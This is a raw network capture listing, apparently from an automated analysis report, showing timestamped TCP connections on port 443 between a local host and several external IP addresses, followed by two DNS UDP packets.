Feb 14, 2025 17:24:04.971716881 CET	50005	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:04.971781969 CET	443	50005	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.014925003 CET	50005	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.431176901 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.431499958 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.431581020 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.431610107 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.431680918 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.431732893 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.431742907 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.431823015 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.431878090 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.431885004 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.432440996 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.432586908 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.432594061 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.435712099 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.435800076 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.435806036 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.435836077 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.435884953 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.519187927 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.519227982 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.519356012 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.519372940 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.519747019 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.519766092 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.519905090 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.519918919 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.520013094 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.520020008 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.520044088 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.520157099 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.520163059 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.520610094 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.520629883 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.520661116 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.520725012 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.520725012 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.520734072 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.521392107 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.521460056 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.521471024 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.521480083 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.521538019 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.521544933 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.521624088 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.521697044 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.521703005 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.522223949 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.522301912 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.522325039 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.522331953 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.522387981 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.522393942 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.573924065 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.573951960 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.608006001 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.608031988 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.608058929 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.608071089 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.608150959 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.608170986 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.608186007 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.608216047 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.608629942 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.608685017 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.608712912 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.608722925 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.608778000 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.608979940 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609011889 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609033108 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.609040022 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609052896 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.609307051 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609359980 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.609364986 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609424114 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609441996 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.609448910 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609456062 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609469891 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.609507084 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.609510899 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609565973 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.609873056 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609927893 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.609930992 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609944105 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.609975100 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.610006094 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.610326052 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.610378981 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.610394955 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.610405922 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.610414028 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.610430956 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.610449076 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.610547066 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.610552073 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.610624075 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.611082077 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.611139059 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882148027 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882195950 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882225990 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882257938 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882282972 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882308960 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882333040 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882342100 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882353067 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882361889 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882369041 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882411003 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882411957 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882428885 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882461071 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882486105 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882487059 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882500887 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882512093 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882544041 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882586956 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882618904 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882627010 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882633924 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882646084 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882658958 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882672071 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882678986 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882684946 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882735014 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882838964 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882882118 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.882888079 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.882929087 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.921889067 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.921962976 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922005892 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922024965 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922046900 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922060013 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922086954 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922101021 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922125101 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922132969 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922139883 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922147036 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922172070 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922194004 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922199965 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922224998 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922230005 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922250032 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922255993 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922290087 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922307014 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922348976 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922357082 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922383070 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922405958 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922411919 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922421932 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.922425032 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.922478914 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.923350096 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.923369884 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.923481941 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.923491001 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.923548937 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.931022882 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.931042910 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.931113958 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.931123972 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.931184053 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.931349039 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.931365967 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.931435108 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.931442022 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.931582928 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.931684017 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.931700945 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.931734085 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.931746960 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.931781054 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.931806087 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.932426929 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.932446957 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.932512045 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.932518959 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.932650089 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.932688951 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.932703972 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.932760954 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.932768106 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.932812929 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.933450937 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.933468103 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.933588982 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.933595896 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.933716059 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.934236050 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.934252024 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.934382915 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.934391975 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.934442043 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.934509039 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.934534073 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.934592009 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.934603930 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.934657097 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.935442924 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.935508013 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.935534000 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.935543060 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.935564995 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:05.935568094 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.935661077 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.935780048 CET	50004	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:05.935796976 CET	443	50004	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:07.548151016 CET	443	50003	142.250.185.164	192.168.2.16
Feb 14, 2025 17:24:07.548234940 CET	443	50003	142.250.185.164	192.168.2.16
Feb 14, 2025 17:24:07.548330069 CET	50003	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:24:08.384763002 CET	50003	443	192.168.2.16	142.250.185.164
Feb 14, 2025 17:24:08.384841919 CET	443	50003	142.250.185.164	192.168.2.16
Feb 14, 2025 17:24:09.358145952 CET	50006	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.358190060 CET	443	50006	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:09.358275890 CET	50006	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.358752966 CET	50006	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.358769894 CET	443	50006	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:09.835119963 CET	443	50006	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:09.835418940 CET	50006	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.835443020 CET	443	50006	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:09.836431980 CET	443	50006	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:09.836514950 CET	50006	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.836885929 CET	50006	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.836885929 CET	50006	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.836942911 CET	50006	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.836960077 CET	443	50006	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:09.837047100 CET	50006	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.837302923 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.837343931 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:09.837400913 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.837614059 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:09.837619066 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:10.333810091 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:10.334084988 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:10.334114075 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:10.335086107 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:10.335144043 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:10.336309910 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:10.336368084 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:10.336474895 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:10.336482048 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:10.377882957 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:10.941050053 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:10.941152096 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:10.941214085 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:10.941960096 CET	50007	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:10.941977024 CET	443	50007	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:10.999918938 CET	50009	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:10.999970913 CET	443	50009	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.000199080 CET	50009	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.000382900 CET	50009	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.000425100 CET	443	50009	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.456811905 CET	443	50009	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.457334042 CET	50009	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.457364082 CET	443	50009	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.458816051 CET	443	50009	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.458904982 CET	50009	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.459311008 CET	50009	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.459311008 CET	50009	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.459395885 CET	443	50009	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.459455967 CET	50009	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.459455967 CET	50009	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.459789038 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.459846020 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.459928036 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.460129023 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.460143089 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.938564062 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.938934088 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.938961983 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.942195892 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.942365885 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.942620039 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.942693949 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.942779064 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:11.942790985 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:11.991930008 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:12.520057917 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:12.520180941 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:12.520283937 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:12.521159887 CET	50010	443	192.168.2.16	172.67.186.200
Feb 14, 2025 17:24:12.521178961 CET	443	50010	172.67.186.200	192.168.2.16
Feb 14, 2025 17:24:19.986066103 CET	443	50005	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:19.986244917 CET	443	50005	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:19.986325026 CET	50005	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:20.381046057 CET	50005	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:20.381124020 CET	443	50005	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:27.212177038 CET	49702	80	192.168.2.16	2.23.77.188
Feb 14, 2025 17:24:27.212174892 CET	49701	443	192.168.2.16	20.190.159.23
Feb 14, 2025 17:24:27.269129038 CET	80	49702	2.23.77.188	192.168.2.16
Feb 14, 2025 17:24:27.269155979 CET	443	49701	20.190.159.23	192.168.2.16
Feb 14, 2025 17:24:27.269208908 CET	49702	80	192.168.2.16	2.23.77.188
Feb 14, 2025 17:24:27.269244909 CET	49701	443	192.168.2.16	20.190.159.23
Feb 14, 2025 17:24:29.334148884 CET	49703	443	192.168.2.16	20.190.159.23
Feb 14, 2025 17:24:29.339076042 CET	443	49703	20.190.159.23	192.168.2.16
Feb 14, 2025 17:24:29.339179039 CET	49703	443	192.168.2.16	20.190.159.23
Feb 14, 2025 17:24:42.935435057 CET	50012	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:42.935513973 CET	443	50012	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:42.935642958 CET	50012	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:42.935914993 CET	50012	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:42.935930967 CET	443	50012	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:43.413774014 CET	443	50012	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:43.414138079 CET	50012	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:43.414153099 CET	443	50012	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:43.414467096 CET	443	50012	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:43.414828062 CET	50012	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:43.414895058 CET	443	50012	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:43.458096027 CET	50012	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:24:57.081511974 CET	50013	443	192.168.2.16	216.58.206.36
Feb 14, 2025 17:24:57.081552029 CET	443	50013	216.58.206.36	192.168.2.16
Feb 14, 2025 17:24:57.081624031 CET	50013	443	192.168.2.16	216.58.206.36
Feb 14, 2025 17:24:57.081836939 CET	50013	443	192.168.2.16	216.58.206.36
Feb 14, 2025 17:24:57.081852913 CET	443	50013	216.58.206.36	192.168.2.16
Feb 14, 2025 17:24:57.718595982 CET	443	50013	216.58.206.36	192.168.2.16
Feb 14, 2025 17:24:57.718949080 CET	50013	443	192.168.2.16	216.58.206.36
Feb 14, 2025 17:24:57.718966007 CET	443	50013	216.58.206.36	192.168.2.16
Feb 14, 2025 17:24:57.719276905 CET	443	50013	216.58.206.36	192.168.2.16
Feb 14, 2025 17:24:57.719604015 CET	50013	443	192.168.2.16	216.58.206.36
Feb 14, 2025 17:24:57.719662905 CET	443	50013	216.58.206.36	192.168.2.16
Feb 14, 2025 17:24:57.774142981 CET	50013	443	192.168.2.16	216.58.206.36
Feb 14, 2025 17:24:58.320382118 CET	443	50012	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:58.320462942 CET	443	50012	188.114.97.3	192.168.2.16
Feb 14, 2025 17:24:58.320559025 CET	50012	443	192.168.2.16	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2025 17:22:52.130707026 CET	53	56420	1.1.1.1	192.168.2.16
Feb 14, 2025 17:22:52.169971943 CET	53	52813	1.1.1.1	192.168.2.16
